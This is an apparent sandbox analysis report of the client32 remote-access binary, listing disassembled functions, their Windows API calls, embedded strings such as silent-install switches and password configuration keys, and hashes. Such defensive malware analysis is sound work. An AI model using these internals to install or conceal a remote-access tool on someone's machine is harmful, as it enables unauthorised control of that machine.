IsIconic.USER32(000000FF), ref: 110B761D
ShowWindow.USER32(000000FF,00000009,?,110594F3,00000001,00000001,?,00000000), ref: 110B762D
BringWindowToTop.USER32(000000FF), ref: 110B7637
GetCurrentThreadId.KERNEL32 ref: 110B7658

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$BringCurrentIconicShowThread
String ID:
API String ID: 4184413098-0
Opcode ID: d925559f559c2a1babfa56e082f61c15d26bdf959c9a64c67aafbf439c555b20
Instruction ID: ad5466151a3d102bc84d22bce7331062c3264b6d9f279f2b8dca4e33c95fbde4
Opcode Fuzzy Hash: d925559f559c2a1babfa56e082f61c15d26bdf959c9a64c67aafbf439c555b20
Instruction Fuzzy Hash: 9731917AE016159FDB14DF28D8C0BDA7BA4AF48354F09846AEC059F386D774E844CBE4

Function 11031300 Relevance: 3.0, APIs: 2, Instructions: 49clipboardCOMMON

Download Yara Rule

APIs

GetClipboardFormatNameA.USER32(?,?,00000050), ref: 11031356
SetClipboardData.USER32(00000000,00000000), ref: 11031372

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Clipboard$DataFormatName
String ID:
API String ID: 3172747766-0
Opcode ID: c368b33a726b0f3c658c7c5764f9fe45bd421e2bcf66c613ff5b6d93b4405f57
Instruction ID: 5a9ba92f3b64397a12cca0f87665bff893f2c78cd86a97b99a1c74ad90e41dcc
Opcode Fuzzy Hash: c368b33a726b0f3c658c7c5764f9fe45bd421e2bcf66c613ff5b6d93b4405f57
Instruction Fuzzy Hash: B701B574D26514EED700DF60884097EB3BCAF8964BF108196EC4095484EF35960086A6

Function 1112D2C0 Relevance: 56.4, APIs: 27, Strings: 5, Instructions: 377windowCOMMON

Download Yara Rule

APIs

BeginPaint.USER32(00000000,?,?,?,00000000), ref: 1112D2EF
GetClientRect.USER32(?,?), ref: 1112D31F
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 1112D33A
SelectObject.GDI32(00000000,00000000), ref: 1112D34E
SelectObject.GDI32(00000000,?), ref: 1112D35B
GetTextColor.GDI32(00000000), ref: 1112D376
GetBkMode.GDI32(00000000), ref: 1112D383
SetBkMode.GDI32(00000000,00000001), ref: 1112D392
SetRect.USER32(?,00000005,00000005,?,?), ref: 1112D3E3
SetTextColor.GDI32(00000000,00FFFFFF), ref: 1112D3EF
DrawTextA.USER32(00000000,?,?,?,00000020), ref: 1112D45A

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

IsA(), xrefs: 1112D40D, 1112D43B, 1112D652
%d %s, xrefs: 1112D66A
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 1112D302
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 1112D408, 1112D436, 1112D64D
m_hWnd, xrefs: 1112D307

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Text$ColorModeObjectRectSelect$BeginBitmapClientCompatibleCreateDrawErrorExitLastMessagePaintProcesswsprintf
String ID: %d %s$IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 3020923283-29264745
Opcode ID: d59ffdd2591979c44c829f97319ea5c8735ab796786ff22a7aabfc1422cc5b0b
Instruction ID: e4a614af463f3ba32ae6b948dbfb1b6a5cc0be9bddc6f11eb1a9c30d18065d07
Opcode Fuzzy Hash: d59ffdd2591979c44c829f97319ea5c8735ab796786ff22a7aabfc1422cc5b0b
Instruction Fuzzy Hash: F1E17CB5A00256AFDB15CF64CD84FEEF7B5BF48304F508199E519A7644EB30AA84CFA0

Function 11015190 Relevance: 54.4, APIs: 29, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 110151BF
GetWindowRect.USER32(00000000,?), ref: 110151EC
_memset.LIBCMT ref: 110151FA
CreateFontIndirectA.GDI32(?), ref: 11015216
SelectObject.GDI32(00000000,00000000), ref: 1101522A
SetBkMode.GDI32(00000000,00000001), ref: 11015235
BeginPath.GDI32(00000000), ref: 11015242
TextOutA.GDI32(00000000,00000000,00000000), ref: 11015260
EndPath.GDI32(00000000), ref: 11015267
PathToRegion.GDI32(00000000), ref: 1101526E
CreateSolidBrush.GDI32(?), ref: 11015280
CreateSolidBrush.GDI32(?), ref: 11015296
CreatePen.GDI32(00000000,00000002,?), ref: 110152B0
SelectObject.GDI32(00000000,00000000), ref: 110152BE
SelectObject.GDI32(00000000,?), ref: 110152CE
GetRgnBox.GDI32(00000000,?), ref: 110152DB
OffsetRgn.GDI32(00000000,?,00000000), ref: 110152FA
FillRgn.GDI32(00000000,00000000,?), ref: 11015309

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

FrameRgn.GDI32(00000000,00000000,?,00000002,00000002), ref: 1101531C
DeleteObject.GDI32(00000000), ref: 11015329
SelectObject.GDI32(00000000,?), ref: 11015333
SelectObject.GDI32(00000000,?), ref: 1101533D
DeleteObject.GDI32(?), ref: 11015346
DeleteObject.GDI32(?), ref: 1101534F
DeleteObject.GDI32(?), ref: 11015358
SelectObject.GDI32(00000000,?), ref: 11015362
DeleteObject.GDI32(?), ref: 1101536B
SetBkMode.GDI32(00000000,?), ref: 11015375
EndPaint.USER32(?,?), ref: 11015389

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110151D2
m_hWnd, xrefs: 110151D7

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Select$Delete$Create$Path$BeginBrushModePaintSolid$ErrorExitFillFontFrameIndirectLastMessageOffsetProcessRectRegionTextWindow_memsetwsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 494162906-1557312927
Opcode ID: 06ae283321112b545d0f64b3b06f8fd0a25e3972faa2f6290334117dc8ba537b
Instruction ID: 0dae53ec8a8f700d59e9fcd6d9c10e05b93e955bbe6dfdf0a8bc5eab80720995
Opcode Fuzzy Hash: 06ae283321112b545d0f64b3b06f8fd0a25e3972faa2f6290334117dc8ba537b
Instruction Fuzzy Hash: 77511BB6A00228AFDB11DBA4CC88FAEF7B9BF89304F108599F515D7244DB749A44CF61

Function 11119230 Relevance: 51.0, APIs: 18, Strings: 11, Instructions: 202libraryprocessloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,82E0FB89,75A33760,?,75A37A80), ref: 11119277
GetCurrentProcess.KERNEL32 ref: 111192FA
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 1111930E
SetLastError.KERNEL32(00000078), ref: 11119328
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1111934E
_memset.LIBCMT ref: 111193AC
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,04000000,00000000,00000000,?,?), ref: 111193F1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11119408
GetExitCodeProcess.KERNEL32(?,?), ref: 11119422
CloseHandle.KERNEL32(?), ref: 11119446
CloseHandle.KERNEL32(?), ref: 1111944F
FreeLibrary.KERNEL32(?), ref: 1111949C

Strings

PscrInstallDeviceW, xrefs: 111194CF
Kernel32.dll, xrefs: 11119260
pscrinst.dll, xrefs: 111194BE
IsWow64Process, xrefs: 11119300
", xrefs: 11119347
Root\NS-PseudoSmartCardReader, xrefs: 111194D8
\winst64.exe" /q /q /si, xrefs: 1111936D
CSmartcardDeviceMngr - PscrInstallDeviceW failed (%d), xrefs: 11119503
CSmartcardDeviceMngr - failed to load pscrinst.dll (%d), xrefs: 11119523
nspscr.inf, xrefs: 111194DD
D, xrefs: 111193DD

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleLibrary$AddressCodeCreateCurrentErrorExitFileFreeLastLoadModuleNameObjectProcSingleWait_memset
String ID: "$CSmartcardDeviceMngr - PscrInstallDeviceW failed (%d)$CSmartcardDeviceMngr - failed to load pscrinst.dll (%d)$D$IsWow64Process$Kernel32.dll$PscrInstallDeviceW$Root\NS-PseudoSmartCardReader$\winst64.exe" /q /q /si$nspscr.inf$pscrinst.dll
API String ID: 3751713381-2378866903
Opcode ID: 1c1322a16d27d7fc49c8e8f33464c3f22e0f6ef2ff991863d38a7f21db42ab11
Instruction ID: d56570f91637704808b564973e54e4635ab13e3ba2239a0607908c76791a74b6
Opcode Fuzzy Hash: 1c1322a16d27d7fc49c8e8f33464c3f22e0f6ef2ff991863d38a7f21db42ab11
Instruction Fuzzy Hash: 35817DB5D412699FCB20DFA5DDC8A9DFBB9FB48304F1441EAE419A3244DB305A80CF51

Function 11029000 Relevance: 47.5, APIs: 8, Strings: 19, Instructions: 259libraryloaderwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

LoadLibraryA.KERNEL32(-00000001,00000000,Bridge,Protocol,00000000,00000000,00000002,00000000), ref: 11029067
GetLastError.KERNEL32 ref: 1102907B
GetProcAddress.KERNEL32(00000000,br_open), ref: 110290B5
GetProcAddress.KERNEL32(00000000,br_close), ref: 110290DA
GetProcAddress.KERNEL32(00000000,br_status), ref: 110290FF

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

_memset.LIBCMT ref: 1102932D
LoadIconA.USER32(00000000,0000045C), ref: 1102937A
Shell_NotifyIconA.SHELL32(00000001,000001E8,Bridge,LoadOnStartup,00000000,00000000), ref: 11029396

Strings

br_open, xrefs: 110290AF, 110290CA
ComPort, xrefs: 1102917D
*MSN, xrefs: 1102929E
BaudRate, xrefs: 11029164
Protocol, xrefs: 1102901F
Inactivity, xrefs: 1102926D
Bridge, xrefs: 11029024, 1102912D, 11029169, 11029182, 1102919D, 110291D0, 1102925C, 11029272, 110292A3, 11029306
PasswordFile, xrefs: 11029257
Password, xrefs: 11029128
CAPICAPICAPI, xrefs: 11029219
Debug, xrefs: 11029198
LoadOnStartup, xrefs: 11029301
com%d %d /A%d /B%d /D%d /M%s /P%s /T%d /N%s, xrefs: 110292EA
tcbr32.dll, xrefs: 11029041, 11029060, 1102908B
br_close, xrefs: 110290D4, 110290EF
CLIENT32.CPP, xrefs: 110290C5, 110290EA, 1102910F
ipbr32.dll, xrefs: 11029035
Modem, xrefs: 110291CB
br_status, xrefs: 110290F9, 11029114

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorIconLastLoad$ExitLibraryMessageNotifyProcessShell___wcstoi64_memsetwsprintf
String ID: *MSN$BaudRate$Bridge$CAPICAPICAPI$CLIENT32.CPP$ComPort$Debug$Inactivity$LoadOnStartup$Modem$Password$PasswordFile$Protocol$br_close$br_open$br_status$com%d %d /A%d /B%d /D%d /M%s /P%s /T%d /N%s$ipbr32.dll$tcbr32.dll
API String ID: 2737259558-2044059647
Opcode ID: 11b142ccfe591048df726263d131c869bb881a3fb8d325d09ae5b9e0eab2801d
Instruction ID: 80f35169613b91d4f5af84d87da118ffc0d981a7cb71d091b144a322eb08291e
Opcode Fuzzy Hash: 11b142ccfe591048df726263d131c869bb881a3fb8d325d09ae5b9e0eab2801d
Instruction Fuzzy Hash: BD91D375E01666AFDB11DF65CCC4FDEF7A9AB4530CF5081A5F918A7280EA70A9408F90

Function 11119540 Relevance: 47.4, APIs: 17, Strings: 10, Instructions: 190libraryprocessloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,?,00000001,82E0FB89,75A33760,?,75A37A80), ref: 111195B7
GetCurrentProcess.KERNEL32 ref: 11119635
GetProcAddress.KERNEL32(?,IsWow64Process), ref: 11119649
SetLastError.KERNEL32(00000078), ref: 11119667
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1111968D
_memset.LIBCMT ref: 111196EB
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,04000000,00000000,00000000,?,?), ref: 11119730
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11119747
CloseHandle.KERNEL32(?), ref: 1111975A
CloseHandle.KERNEL32(?), ref: 11119763
SetEvent.KERNEL32(?), ref: 111197C8
FreeLibrary.KERNEL32(?), ref: 111197D9

Strings

Kernel32.dll, xrefs: 111195AC
pscrinst.dll, xrefs: 11119767
IsWow64Process, xrefs: 11119641
\winst64.exe" /q /q /su, xrefs: 111196AC
D, xrefs: 1111971C
Root\NS-PseudoSmartCardReader, xrefs: 11119781
", xrefs: 11119686
PscrRemoveDeviceW, xrefs: 11119774
CSmartcardDeviceMngr - failed to load pscrinst.dll (%d), xrefs: 111197B1
CSmartcardDeviceMngr - PscrRemoveDeviceW failed (%d), xrefs: 11119794

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandleLibraryProcess$AddressCreateCurrentErrorEventFileFreeLastLoadModuleNameObjectProcSingleWait_memset
String ID: "$CSmartcardDeviceMngr - PscrRemoveDeviceW failed (%d)$CSmartcardDeviceMngr - failed to load pscrinst.dll (%d)$D$IsWow64Process$Kernel32.dll$PscrRemoveDeviceW$Root\NS-PseudoSmartCardReader$\winst64.exe" /q /q /su$pscrinst.dll
API String ID: 389065776-834071892
Opcode ID: c44578842d204993e841975f1a3fa7606336999d1f0e71b0295d9c2100f7e49a
Instruction ID: 4bb953576de971cc88626846f630ee5a2f793e05f54183a9a7552dd7088d59e1
Opcode Fuzzy Hash: c44578842d204993e841975f1a3fa7606336999d1f0e71b0295d9c2100f7e49a
Instruction Fuzzy Hash: D4716FB59016389FCB10DF64DC88A9EFBB9FF49714F1481EAE419A7244DB705A80CFA1

Function 11005340 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 214windowCOMMON

Download Yara Rule

APIs

Part of subcall function 110596B0: __itow.LIBCMT ref: 110596D5

GetObjectA.GDI32(?,0000003C,?), ref: 11005415

Part of subcall function 111028F0: _malloc.LIBCMT ref: 111028F9
Part of subcall function 111028F0: _memset.LIBCMT ref: 11102922

wsprintfA.USER32 ref: 1100546D
DeleteObject.GDI32(?), ref: 110054C2
DeleteObject.GDI32(?), ref: 110054CB
SelectObject.GDI32(?,?), ref: 110054E2
DeleteObject.GDI32(?), ref: 110054E8
DeleteDC.GDI32(?), ref: 110054EE
SelectObject.GDI32(?,?), ref: 110054FF
DeleteObject.GDI32(?), ref: 11005508
DeleteDC.GDI32(?), ref: 1100550E
DeleteObject.GDI32(?), ref: 1100551F
DeleteObject.GDI32(?), ref: 1100554A
DeleteObject.GDI32(?), ref: 11005568
DeleteObject.GDI32(?), ref: 11005571
ShowWindow.USER32(?,00000009), ref: 1100559F
PostQuitMessage.USER32(00000000), ref: 110055A7

Strings

Font, xrefs: 1100547F
FillColour, xrefs: 110053DB
Annotate, xrefs: 11005368, 11005386, 110053A4, 110053C2, 110053E0, 110053FE, 11005484
Tool, xrefs: 11005363
PenWidth, xrefs: 110053BD
PenColour, xrefs: 11005381
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 11005467
FillStyle, xrefs: 110053F9
PenStyle, xrefs: 1100539F

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Delete$Select$MessagePostQuitShowWindow__itow_malloc_memsetwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$FillColour$FillStyle$Font$PenColour$PenStyle$PenWidth$Tool
API String ID: 2789700732-770455996
Opcode ID: bffa70751cd7c6e62ae0059442501a3dca6783ea3bd189fee305e70bee420e80
Instruction ID: 9e125dedda538187a29fc8d034e3741b0da66b6e6d06abace117032ecdb9a76e
Opcode Fuzzy Hash: bffa70751cd7c6e62ae0059442501a3dca6783ea3bd189fee305e70bee420e80
Instruction Fuzzy Hash: C0813775A00615AFD765EBA5C890EEBF7F9AF8C304F00854CE69697241DA70F901CF60

Function 11003760 Relevance: 40.7, APIs: 27, Instructions: 240COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000004), ref: 110037BF
InflateRect.USER32(?,000000FF,000000FF), ref: 110037DA
GetSysColor.USER32(00000010), ref: 110037ED
GetSysColor.USER32(00000010), ref: 11003804
GetSysColor.USER32(00000014), ref: 1100381B
GetSysColor.USER32(00000014), ref: 11003832
GetSysColor.USER32(00000014), ref: 11003855
GetSysColor.USER32(00000014), ref: 1100386C
GetSysColor.USER32(00000010), ref: 11003883
GetSysColor.USER32(00000010), ref: 1100389A
GetSysColor.USER32(00000004), ref: 110038B1
SetBkColor.GDI32(00000000,00000000), ref: 110038B8
InflateRect.USER32(?,000000FE,000000FD), ref: 110038C6
GetSysColor.USER32(00000010), ref: 110038E2
CreatePen.GDI32(?,00000001,00000000), ref: 110038EB
SelectObject.GDI32(00000000,00000000), ref: 110038F9
MoveToEx.GDI32(00000000,?,?,00000000), ref: 11003912
LineTo.GDI32(00000000,?,?), ref: 11003926
SelectObject.GDI32(00000000,?), ref: 11003934
DeleteObject.GDI32(?), ref: 1100393E
GetSysColor.USER32(00000014), ref: 1100394C
CreatePen.GDI32(?,00000001,00000000), ref: 11003955
SelectObject.GDI32(00000000,00000000), ref: 11003962
MoveToEx.GDI32(00000000,?,?,00000000), ref: 1100397E
LineTo.GDI32(00000000,?,?), ref: 11003995
SelectObject.GDI32(00000000,?), ref: 110039A3
DeleteObject.GDI32(00000000), ref: 110039AA

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
